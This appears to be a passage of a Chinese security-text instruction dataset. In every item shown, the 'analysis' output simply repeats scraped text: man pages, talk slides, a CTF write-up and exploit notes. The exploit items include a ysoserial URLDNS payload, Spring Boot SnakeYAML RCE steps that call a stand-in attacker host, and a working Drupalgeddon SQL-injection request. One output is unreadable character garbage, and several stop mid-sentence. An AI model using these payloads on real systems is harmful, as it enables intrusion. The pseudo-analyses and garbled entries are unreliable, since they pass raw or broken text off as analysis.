它就会显示info的常用快捷键 **N键** 显示相对于本节点的下一节点的文档内容 **P键** 显示相对于本节点的前一节点的文档内容 **U键** 进入当前命令所在的主题 **M键** 敲M键后输入命令的名称就可以查看该命令的帮助文档了 **G键** 敲G键后输入主题名称进入该主题 **L键** 回到上一个访问的页面 **SPACE键** 向前滚动一页 **BACKUP或DEL键** 向后滚动一页 **Q** 退出info ``` **命令** ```shell **** 显示帮助窗口 在帮助窗口中 **Ctrl-x 0** 关闭帮助窗口 **Ctrl-x Ctrl-c** 关闭整个 Info **q** 退出 info **n** 打开与本 Node 关联的下一个 Node **p** 打开与本 Node 关联的前一个 Node **u** 打开与本 Node 关联的上一个 Node **l** 回到上一次访问的 Node **m或g** 选择一个菜单项Node 的名字 输入指定菜单的名字后按回车打开指定菜单项关联的 Node **空格键** 下一页PageDown 也可以下一页从当前页的最后两行开始算起 下一个 Node 若当前页在 Node 文档的末尾 **Del 键** 上一页PageUp 也可以上一页从当前页的开始两行开始算起 上一个 Node 若当前页 Node 文档的开始 **b 或 t 或 Home** 文档的开始b 是 begining 的意思 **e 或 End** 文档的末尾b 是 ending 的意思 **Ctrl-l** 刷新当前页若当前文档显示情况有问题时 **Ctrl-g** 取消所键入的指令 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nURLDNS ysoserial 首先是关于ysoserial项目牛逼就完事了 序列化的过程 1. 首先使用 ysoserial 生成反序列化文件然后自行编写反序列流程触发构造链 踩坑不要使用powershell生成反序列化过程中会报错 2. 反序列化 bin 文件触发 gadget 3. 触发请求 4. 然后查看urldns中gadget的生成过程ysoserial入口文件位于 ysoserial.GeneratePayload URLDNS文件 ysoserial.payloads.URLDNS java -jar ysoserial-master-d367e379d9-1.jar URLDNS \"http://0hymwn.dnslog.cn\" > urldns.bin public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key 5. 首先创建一个 SilentURLStreamHandler 对象且 SilentURLStreamHandler 继承自 URLStreamHandler 类然后重写了 openConnection 和 getHostAddress 两个方法这一步的作 用留待后面进一步讲解此处还有一个关于反序列化的知识点 6. 接着创建一个 hashmap 用于之后存储 7. 创建一个 URL 对象此处需要跟进 URL 类查看类初始化会发生啥传递三个参数 (null,url,handler) ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, \"hashCode\", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } /** *

    This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

    * * Potential false negative: *

    If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

    */ static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nlastb === 列出登入系统失败的用户相关信息 ## 补充说明 **lastb命令** 用于显示用户错误的登录列表此指令可以发现系统的登录异常单独执行lastb命令它会读取位于`/var/log`目录下名称为btmp的文件并把该文件内容记录的登入失败的用户名单全部显示出来 ### 语法 ```shell lastb(选项)(参数) ``` ### 选项 ```shell -a把从何处登入系统的主机名称或ip地址显示在最后一行 -d将IP地址转换成主机名称 -f<记录文件>指定记录文件 -n<显示列数>或-<显示列数>设置列出名单的显示列数 -R不显示登入系统的主机名称或IP地址 -x显示系统关机重新开机以及执行等级的改变等信息 ``` ### 参数 * 用户名显示中的用户的登录列表 * 终端显示从指定终端的登录列表 ### 实例 首次运行lastb命令会报下的错误 ```shell lastb: /var/log/btmp: No such file or directory Perhaps this file was removed by the operator to prevent logging lastb info. ``` 只需建立这个不存在的文件即可 ```shell touch /var/log/btmp ``` 使用ssh的登录失败不会记录在btmp文件中 ```shell lastb | head root ssh:notty 110.84.129.3 Tue Dec 17 06:19 - 06:19 (00:00) root ssh:notty 110.84.129.3 Tue Dec 17 04:05 - 04:05 (00:00) root ssh:notty 110.84.129.3 Tue Dec 17 01:52 - 01:52 (00:00) root ssh:notty 110.84.129.3 Mon Dec 16 23:38 - 23:38 (00:00) leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00) leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00) root ssh:notty 110.84.129.3 Mon Dec 16 21:25 - 21:25 (00:00) root ssh:notty 110.84.129.3 Mon Dec 16 19:12 - 19:12 (00:00) root ssh:notty 110.84.129.3 Mon Dec 16 17:00 - 17:00 (00:00) admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00) ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAsia-Pacific Cybersecurity Community Collaboration and Joint Defense Tom Millar, US Cybersecurity and Infrastructure Security Agency (CISA) 1. A Little Bit About CISA 2. The Top Threat to US Critical Infrastructure 3. Fighting The Top Threat 4. Working Collaboratively 5. Questions & Answers What is CISA? CISA is the Nations Risk Advisor Not a Cyber Regulator Not a Law Enforcement Agency Our stakeholders include US Federal Government agencies and US Critical Infrastructure The #1 Threat To Critical Infrastructure is Ransomware. Ransomware is intentionally disruptive. Recovery to full operations can take weeks (whether the victim pays the ransom or not). Recent severe incidents have affected the energy sector, food and agriculture supply chain, and hospital networks. Attacks occur daily across all sectors. Defeating Ransomware Together CISA works together with its sister agencies and with private sector partners to combat the ransomware threat. Law Enforcement Agencies and the Treasury Department disrupt operations and their payment schemes. Defense, Law Enforcement, Diplomatic and Intelligence Agencies work to take the fight to the enemy. CISA leads the effort to harden targets making systems more secure and resilient. Global Collaboration Critical infrastructure is global and international collaboration is key to succeeding against this threat. International partnerships have helped alert potential victims and minimizing impact. Sharing timely alerts and detection methods is critical. This is done via various trust communities using different channels, from formal Information Sharing and Analysis Centers (ISACs) to volunteer groups. Thank You!", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Insecure Management Interface ## Springboot-Actuator Actuator endpoints let you monitor and interact with your application. Spring Boot includes a number of built-in endpoints and lets you add your own. For example, the `/health` endpoint provides basic application health information. Some of them contains sensitive info such as : - `/trace` - Displays trace information (by default the last 100 HTTP requests with headers). - `/env` - Displays the current environment properties (from Springs ConfigurableEnvironment). - `/heapdump` - Builds and returns a heap dump from the JVM used by our application. - `/dump` - Displays a dump of threads (including a stack trace). - `/logfile` - Outputs the contents of the log file. - `/mappings` - Shows all of the MVC controller mappings. These endpoints are enabled by default in Springboot 1.X. Note: Sensitive endpoints will require a username/password when they are accessed over HTTP. Since Springboot 2.X only `/health` and `/info` are enabled by default. ### Remote Code Execution via `/env` Spring is able to load external configurations in the YAML format. The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks. In other words, an attacker can gain remote code execution by loading a malicious config file. #### Steps 1. Generate a payload of SnakeYAML deserialization gadget. - Build malicious jar ```bash git clone https://github.com/artsploit/yaml-payload.git cd yaml-payload # Edit the payload before executing the last commands (see below) javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . ``` - Edit src/artsploit/AwesomeScriptEngineFactory.java ```java public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec(\"ping rce.poc.attacker.example\"); // COMMAND HERE } catch (IOException e) { e.printStackTrace(); } } ``` - Create a malicious yaml config (yaml-payload.yml) ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# DNS > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- ## 什么是 DNS DNS(Domain Name System域名管理系统) 是因特网的重要基础它建立在一个分布式数据库基础之上在这个数据库里保存了 IP 地址和域名的相互映射关系 **常用的DNS记录** - A ip 地址记录记录域名对应的 ip 地址 - AAAA ipv6 地址记录记录域名对应的 ipv6 地址 - CNAME 别名记录记录一个主机的别名 - MX 邮件交换记录记录一个邮件域名对应的 ip 地址 - NS 域名服务器记录记录该域名由哪台域名服务器解析 - PTR 反向记录即从 ip 地址到域名的一条记录 - TXT 记录域名的相关文本信息 --- ## CAA 记录 **相关文章** - [证书颁发机构授权CAA](https://letsencrypt.org/zh-cn/docs/caa/) **支持设置 CAA 记录的 DNS 提供商列表** - https://sslmate.com/caa/support **辅助工具** - [CAA 记录生成器](https://sslmate.com/caa/) **什么是 CAA 记录?** CAA是一种 DNS 记录它允许站点所有者指定允许哪些证书颁发机构CA颁发包含其域名的证书 该记录在 2013 年由 RFC 6844标准化以允许 CA 降低意外颁发证书的风险默认情况下每个公共 CA 在验证申请者的域名控制权后可以为任何在公共 DNS 中的域名颁发证书 这意味着如果某个 CA 的验证流程出现错误所有域名都有可能受到影响 CAA 记录为域名持有者提供了降低这类风险的方法 **放置 CAA 记录的位置** 可以在主域名或任何深度的子域名上设置 CAA 记录 例如如果你有 `www.community.example.com` 这个域名你可以在该域名`community.example.com` 或 `example.com` 上设置 CAA 记录 CA 将从左到右检查每个版本并在看到任何 CAA 记录后立即停止 因此`community.example.com` 上的 CAA 记录优先于 `example.com` 上的记录 大多数添加 CAA 记录的人都希望将它们添加到注册域名`example.com`这样它们对所有子域名均有效 此外请注意子域名的 CAA 记录优先于其父域名无论该记录相比于主域更宽松或更具限制性 因此子域名可以放松父域名所施加的限制 与所有其他 DNS 请求一样CAA 验证遵循 CNAME 记录 如果 `www.community.example.com` 被设置为 `web1.example.net` 的 CNAMECA 将首先请求 `www.community.example.com` 的 CAA 记录然后发现该域名有一个 CNAME 而不是 CAA 记录后将请求 `web1.example.net` 的 CAA 记录 请注意如果域名具有 CNAME 记录则根据 DNS 标准它不能拥有任何其他记录 --- ## DNS安全 **相关文章** - [DNS 安全 | Cloudflare](https://www.cloudflare.com/zh-cn/learning/dns/dns-security/) **什么是 DNSSEC** 与许多 Internet 协议一样在设计 DNS 系统时并未考虑安全性并且该系统存在一些设计限制再加上技术进步这些限制使攻击者很容易出于恶意劫持 DNS 查找例如将用户发送到可分发恶意软件或收集个人信息的欺诈性网站DNS 安全扩展 (DNSSEC) 是为缓解此问题而创建的安全协议DNSSEC 通过对数据进行数字签名来防止攻击以帮助确保其有效性为确保进行安全查找此签名必须在 DNS 查找过程的每个级别进行 此签名过程类似于人们用笔签署法律文件此人签署别人无法创建的唯一签名并且法院专家能够查看该签名并验证文件是否由该人签署的这些数字签名可确保数据未被篡改 DNSSEC 在 DNS 的所有层中实施分层数字签名策略例如在 `google.com` 查找中根 DNS 服务器将为 `.COM` 域名服务器签写一个密钥然后 `.COM` 域名服务器将为 `google.com` 的权威性域名服务器签写一个密钥 尽管更高的安全性始终是首选的但 DNSSEC 旨在向后兼容以确保传统 DNS 查找仍可正确解析尽管这没有提高安全性作为整体 Internet 安全策略的一部分DNSSEC 应与其他安全措施配合使用例如 SSL/TLS DNSSEC 创建了一个父子信任链该链一直行进到根区域在 DNS 的任何层上此信任链都不能受损否则请", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Nokia 2016 Bell Labs Bell Labs 4G - Who is paying your cellular phone bill? Silke Holtmanns Isha Singh Nokia Bell Labs 2 Nokia 2016 Bell Labs Bell Labs Industrial Security Research? 3 Bell Labs Theoretical studies go into attack and countermeasure design Validation and awareness of our research by GSMA standards input and publication Customer feedback and test results allow us to fine-tune and optimize our countermeasures Research input will fit product needs and operators requests Operator needs can be discovered live for new research challenges and disruptive new solutions Nokia Bell Labs Future Attacks and Mitigation Research that solves real problems together with our customers and sometimes even competitors Lab Problem study / Threats/Attack Design Attack Testing Counter measures Validation and Awareness Customer Feedback Product Improvements Bell Labs Research Lifecycle 4 Nokia 2016 Bell Labs Bell Labs You connect What does actually happen? 5 Bell Labs Roaming Why should you care? Source: DefCon, National Geographics, Wikipedia You connected to AT&T, Verizon, T-Mobile, Sprint DefCon participants CMCC, Airtel, MegaFon, Telenor My colleagues, friends, family connected to DNA, Elisa, Telia 6 Bell Labs Connecting networks The hidden private Internet The Interconnection Network (IPX) 7 Bell Labs I switch on my phone Las Vegas Antenna Core Network Carrier / IPX Carrier / IPX Core Network Authentication -> run to home network Checking subscriber 8 Nokia 2016 Bell Labs Bell Labs What is this secret network? Where does it come from? 9 Bell Labs Nokia 2016 The good auld history 1981 Nordic Operator Meeting Need to call my wife, she has birthday today. Stupid that I can not use my mobile. The sauna is not hot enough. Lets connect ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Crypto (crypto, 136p, 12 solved) In the challenge we get an [encryption code](enc.py) and encrypted flag `a22d0fb9f707b153ab68472082d1f3e977a23f3dc0de469388ec3a56131943eba1873071f7fc01b5fc31b5335056286f5d7634735f35776a74` One we analyse the code we can clearly see the vulnerability -> there are 2 things which are supposed to encrypt the data, subtraction and XOR. However the parameters are created by: ```python a, b, c = (int(key[i:i + 8], 16) for i in range(0, len(key), 8)) ``` The values `b` and `c` are both rotated left as 64 bit values, while they're were in fact created from 8 bits values only. This means very quickly both of them will become `0`. This leaves the subtraction step. We could try to invert the encryption knowing the flag prefix, and recover the parameters one by one. But we're too lazy for that. The operations are really only `+-` and `&`, so we can just ask Z3 to do the work for us. We port the encryption function to make it easier to use from Z3: ```python def encryptx(data, key): encrypted = [] a, b, c = key for d in data: keystream = (b & 0xff) (c & 0xff) d = (d - (a & 0xff)) keystream d = d & 0xff encrypted.append(d) a = rotr(a) b = rotl(b) c = rotl(c) # print(a, b, c) return encrypted ``` No we can run Z3 on this: ```python def decrypt(ct): key = tuple([BitVec('k%d' % i, 64) for i in range(3)]) flag = [BitVec('x%d' % i, 64) for i in range(len(ct) / 2)] s = Solver() for x in flag: s.add(x > 0, x < 128) s.add(Or(x == 32, x > 32)) result = encryptx(flag, key) for i, x in enumerate(ct.decode(\"hex\")): s.add(result[i] == ord(x)) for i, c in enumerate(\"Congrats! Flag is: \"): s.add(flag[i] == ord(c)) s.check() model = s.model() solution = [model[x].as_long() for x in flag] print(\"\".join(map(chr, solution))) return \"\".join(map(chr, [model[x].as_long() for x in flag])) ``` Initially we didn't know the prefix so we didn't have the `Congrats! Flag is: ` value and the encryption was ambigious, so in the end we looped over this and instructed Z3 to en", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Introduction 我们从隔离访问控制异常检测随机化这四种方式来介绍内核中的防御机制 ## 参考 - https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf - https://github.com/a13xp0p0v/linux-kernel-defence-map - https://outflux.net/slides/2018/lca/kspp.pdf - https://www.kernel.org/doc/html/latest/security/self-protection.html - https://powerofcommunity.net/poc2019/x82.pdf - https://samsung.github.io/kspp-study/infoleak.html", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nClassification: Internal www.nviso.eu .NET reflection for post exploitation tradecraft in an EDR world. Classification: Internal Jean-François Maes Creator of redteamer.tips Host of The voices of infosec podcast Contributor to SANS SEC560 and SEC699 Devourer of chicken and other proteins #RedTeamFit # Whoami Classification: Internal Why give this talk? Because I like donuts Classification: Internal 1 Why C#? 2 What is reflection? 3 Creating a loader 4 Improving the loader 5 Future of tradecraft Classification: Internal Why C# ? As defences grow, so does the malware Since V5 AMSI Constrained Language Mode Nice read: https://stealthbits.com/blog/ways-to-detect-and-mitigate-powershell-attacks/ Classification: Internal Why C# ? As defences grow, so does the malware Script Block Logging Nice read: https://stealthbits.com/blog/ways-to-detect-and-mitigate-powershell-attacks/ Since V5 Classification: Internal Why C# ? As defences grow, so does the malware Shoutout to Nice presentation: https://hackinparis.com/data/slides/2019/talks/HIP2019-Marcello_Salvati-Ironpython_Omfg.pdf Classification: Internal What is reflection? www.nviso.be | 8 Lets see what the internet says Wikipedia In computer science, reflection programming is the ability of a process to examine, introspect, and modify its own structure and behavior. A language supporting reflection provides a number of features available at runtime that would otherwise be difficult to accomplish in a lower-level language. Microsoft Stack Overflow Reflection provides objects that describe assemblies, modules, and types. You can use reflection to dynamically create an instance of a type, bind the type to an existing object, or get the type from an existing object and invoke its methods or access its fields and properties. If you are using attributes in your code, reflection enables you to access them. Reflection allows you to write code that can inspect various aspects about the code itself. It enables you to do simple things l", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Drupal < 7.32 Drupalgeddon SQL注入漏洞CVE-2014-3704 Drupal 是一款用量庞大的CMS其7.0~7.31版本中存在一处无需认证的SQL漏洞通过该漏洞攻击者可以执行任意SQL语句插入修改管理员信息甚至执行任意代码 ## 漏洞环境 执行如下命令启动Drupal 7.31环境 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:8080`即可看到Drupal的安装页面使用默认配置安装即可 其中Mysql数据库名填写`drupal`数据库用户名密码为`root`地址为`mysql` ![](1.png) 安装完成后访问首页 ![](2.png) ## 漏洞复现 该漏洞无需认证发送如下数据包即可执行恶意SQL语句 ``` POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a ``` 可见信息已被爆出 ![](3.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 黑灰产舆情监控 - 思路一监测黑产市场和群组信息>黑产CDN服务使用动向>监测全网该CDN服务的Passive DNS>CADNSIP关键词的关联分析 ## 论坛网站 黑灰产参与者常活跃的论坛类型有 - 暗网市场论坛 - 各类黑客技术交流网站 - 黑灰产项目网站例如菠*圈[黑产知乎](https://www.zhihu99.com/forum-36-1.html)等 - 华人论坛例如菲*华社区 值得注意的是在进行论坛社交媒体数据采集时我们需要考虑这些论坛的访问使用技术难度结合黑灰产的上中下游分布", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nvgextend === 向卷组中添加物理卷 ## 补充说明 **vgextend命令** 用于动态扩展LVM卷组它通过向卷组中添加物理卷来增加卷组的容量LVM卷组中的物理卷可以在使用vgcreate命令创建卷组时添加也可以使用vgextend命令动态的添加 ### 语法 ```shell vgextend(选项)(参数) ``` ### 选项 ```shell -d调试模式 -t仅测试 ``` ### 参数 * 卷组指定要操作的卷组名称 * 物理卷列表指定要添加到卷组中的物理卷列表 ### 实例 使用vgextend命令向卷组\"vg2000\"中添加物理卷在命令行中输入下面的命令 ```shell [root@localhost ~]# vgextend vg2000 /dev/sdb2 #将物理卷\"/dev/sdb2\"加入卷组\"vg2000\" ``` 输出信息如下 ```shell Volume group \"vg2000\" successfully extended ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1993 The Regents of the University of California. '\\\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" '\\\" RCS: @(#) $Id: uplevel.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName dbCla", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHow to get good seats in the security theater? Hacking boarding passes for fun and profit Przemek Jaroszewski przemj+defcon24@gmail.com $ whoami head of Current Threat Analysis team at the Polish national CSIRT (CERT Polska) 10+ years of education in programming Masters degree in social psychology 15 years of experience in IT security aviation enthusiast, unrealized air traffic controller Up in the Air FF miles are nice, but status in nicer Except when improvements dont work IATA Resolution 792 Paper PDF417 Mobile QR Code Aztec DataMatrix Bar-Coded Boarding Pass M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666C009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? Free Fast Track for all travellers M1COLUMBUS/CHRISTOPHERE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1COLUMBUS/CHRISTOPHERE56YYYY WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? Free Fast Track for all travelers Wait, this is not news! Bruce Schneier (2003): Flying On Someone Elses Airplaine Ticket Andy Bowers (2005): Dangerous Loophole in Airport Security Bruce Schneier (2006): The Boarding Pass Brouhaha Christopher Soghoian (2007): Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists Jeffrey Goldberg (2008): The Things He Carried Charles C. Mann (2011): Smoke Screening No Fly List Bypass (in 2006) Buy tickets under false name Print your boarding pass at home Create a copy of the boarding pass with your real name Present the fake boarding pass and the real ID to TSA officers Present the real boarding pass to gate agents Fly No Fly List Bypass (in 2016 Europe) Buy tickets u", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n! \" # $ % \" & ' $ ( % ' % \" ) * ) & # \" # + * , ) # ' # ) & - % . # ' ' , \" & . * ) & # \" * \" / / & * 0 \" # 1 ) & . $ 2 # ) # . # ( 1 3 4 5 % 0 # * ( # + ) 5 % 6 $ % \" 6 ) ) # 7 2 # 8 % . ) & 1 ) # $ 2 # - & / % . # ' $ ( % ) % + 2 % % * \" / # $ % \" * . . % 1 1 ) # ) 5 % \" % ) 9 # 2 : % / % ( % . ) 2 # \" & . / % - & . % 1 & \" * \" * , ) # ' # ; & ( % 3 4 5 % & \" ) % 2 + * . % ) # - % 5 & . ( % / % - & . % 1 9 & ( ( ; % $ 2 & ' * 2 & ( < ) 5 2 # , 0 5 ) 5 % 1 ) * \" / * 2 / / & * 0 \" # 1 ) & . . # \" = \" % . ) # 2 > ) 5 # , 0 5 . # ' ' , \" & . * ) & # \" 9 & ( ( ; % 1 , $ $ # 2 ) % / ) 5 2 # , 0 5 * ( ( ; , 1 1 % 1 > \" # ) # \" ( < / & * 0 \" # 1 ) & . ; , 1 1 % 1 3 ! . . % 1 1 ) # - % 5 & . ( % / % - & . % 1 9 & ( ( & \" . ( , / % ' # \" & ) # 2 & \" 0 * \" / / & * 0 \" # 1 ) & . 1 * 1 9 % ( ( * 1 2 % $ 2 # 0 2 * ' ' & \" 0 * \" / % \" 5 * \" . % / . # \" ) 2 # ( # + ) 5 % & 2 # $ % 2 * ) & # \" 3 ? @ A B C D B C E F G H I J K H I L M N O N P Q R S T U V W X V R Y Z [ Y \\ ] T Z Y Y _ ` S O O O O O O O O O O O O O O O O O O O O a N O N O N P ] W S Y b T c ` Q d e c ] W V ` T e _ fP b d g O O O O O O O O O O O O O O a N O N O h i V Z T V j W Y P ] W S Y b T c ` Q d e c ] W V ` T e _ f i P b g O O O O O O O O O a N O N Oa k l m O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O n N O N O n o e _ ` Z e W W Y Z p Z Y V q Y ` r e Z s f o p q g O O O O O O O O O O O O O O n N O h l e t ` r V Z Y u V ` V X T _ s u Y v T U Y S O O O O O O O O O O O O O O O O O O O O O w N O h O N l Y Z T V W O O O O O O O O O O O O O O O O O O O O O O O O O O O O O w N O h O h P V Z V W W Y W O O O O O O O O O O O O O O O O O O O O O O O O O O O O w N O h Oa x P k m O O O O O O O O O O O O O O O O O O O O O O O O O O O O O y N Oa z V Z c r V Z Y u V ` V X T _ s u Y v T U Y S O O O O O O O O O O O O O O O O O O O O y N Oa O N d T U Z e U e _ ` Z e W W Y Z O O O O O O O O O O O O O O O O O O O O O O O O y N Oa O h P Z e { Z V V j W Y z V Z c r V Z Y O O O O O O O O O O O O O O O O O O | N Oa Oa u Y", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH ROUTE 8 \"2 January 2000\" \"net-tools\" \"Linux Programmer's Manual\" .SH NAME .B route - 显示 / 操作IP选路表 .SH 总览 SYNOPSIS \\fBroute\\fR [-CFvnee] \\fBroute\\fR [-v] [-A family] add [-net|-host] target [netmask Nm] [gw Gw] [metric N] [mss M] [window W] [irtt I][reject] [mod] [dyn] [reinstate] [[dev] If] \\fBroute\\fR [-v] [-A family] del [-net|-host] target [gw Gw][netmask Nm] [metric N] [[dev] If] \\fBroute\\fR [-V] [--version] [-h] [--help] .SH 描述 DESCRIPTION route程序对内核的IP选路表进行操作它主要用于通过已用ifconfig(8)程序配置好的接口来指定的主机或网络设置静态路由 .SH 选项 OPTIONS .TP -v 选用细节操作模式 .TP -A family 用指定的地址族(如`inet'`inet6') .TP -n 以数字形式代替解释主机名形式来显示地址此项对试图检测对域名服务器进行路由发生故障的原因非常有用 .TP -e 用netstat(8)的格式来显示选路表-ee将产生包括选路表所有参数在内的大量信息 .TP -net 路由目标为网络 .TP -host 路由目标为主机 .TP -F 显示内核的FIB选路表其格式可以用-e 和 -ee选项改变 .TP -C 显示内核的路由缓存 .TP del 删除一条路由 .TP add 添加一条路由 .TP target 指定目标网络或主机可以用点分十进制形式的IP地址或主机/网络名 .TP netmask Nm 为添加的路由指定网络掩码 .TP gw Gw 为发往目标网络/主机的任何分组指定网关注意指定的网关首先必须是可达的也就是说必须为该网关预先指定一条静态路由如果你为本地接口之一指定这个网关地址的话那么此网关地址将用于决定此接口上的分组将如何进行路由这是BSD风格所兼容的 .TP metric M 把选路表中的路由值字段(由选路进程使用)设为M .TP mss M 把基于此路由之上的连接的TCP最大报文段长度设为M字节这通常只用于优化选路设置默认值为536 .TP window W 把基于此路由之上的连接的TCP窗口长度设为W字节这通常只用于AX.25网络和不能处理背对背形式的帧的设备 .TP irtt I 把基于此路由之上的TCP连接的初始往返时间设为I毫秒(1-12000)这通常也只用于AX.25网络如果省略此选项则使用RFC1122的缺省值300ms .TP reject 设置一条阻塞路由以使一条路由查找失败这用于在使用缺省路由前先屏蔽掉一些网络但这并不起到防火墙的作用 .TP mod, dyn, reinstate 设置一条动态的或更改过的路由这些标志通常只由选路进程来设置这只用于诊断目的 .TP dev If 强制使路由与指定的设备关联因为否则内核会自己来试图检测相应的设备(通常检查已存在的路由和加入路由的设备的规格)在多数正常的网络上无需使用 如果dev If是命令行上最后一个指定的选项那么可以省略关键字dev因为它是缺省值否则路由修改对象(metric - netmask- gw - dev)无关紧要 .SH 范例 EXAMPLES .TP route add -net 127.0.0.0 加入正常的环回接口项它使用掩码255.0.0.0(由目标地址决定了它是A类网络)并与设备\"lo\"相关联(假定该设备先前已由ifconfig(8)正确设置) .TP route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0 向\"eth0\"添加一条指向网络192.56.76.x的路由其中的C类子网掩码并不必须因为192.*是个C类的IP地址在此关键字\"dev\"可省略 .TP route add default gw mango-gw 加入一条缺省路由(如果无法匹配其它路由则用它)使用此路由的所有分组将通过网关\"mango-gw\"进行传输实际使用此路由的设备取决于如何到达\"mango-gw\" - 先前必须设好到\"mango-gw\"的静态路由 .TP 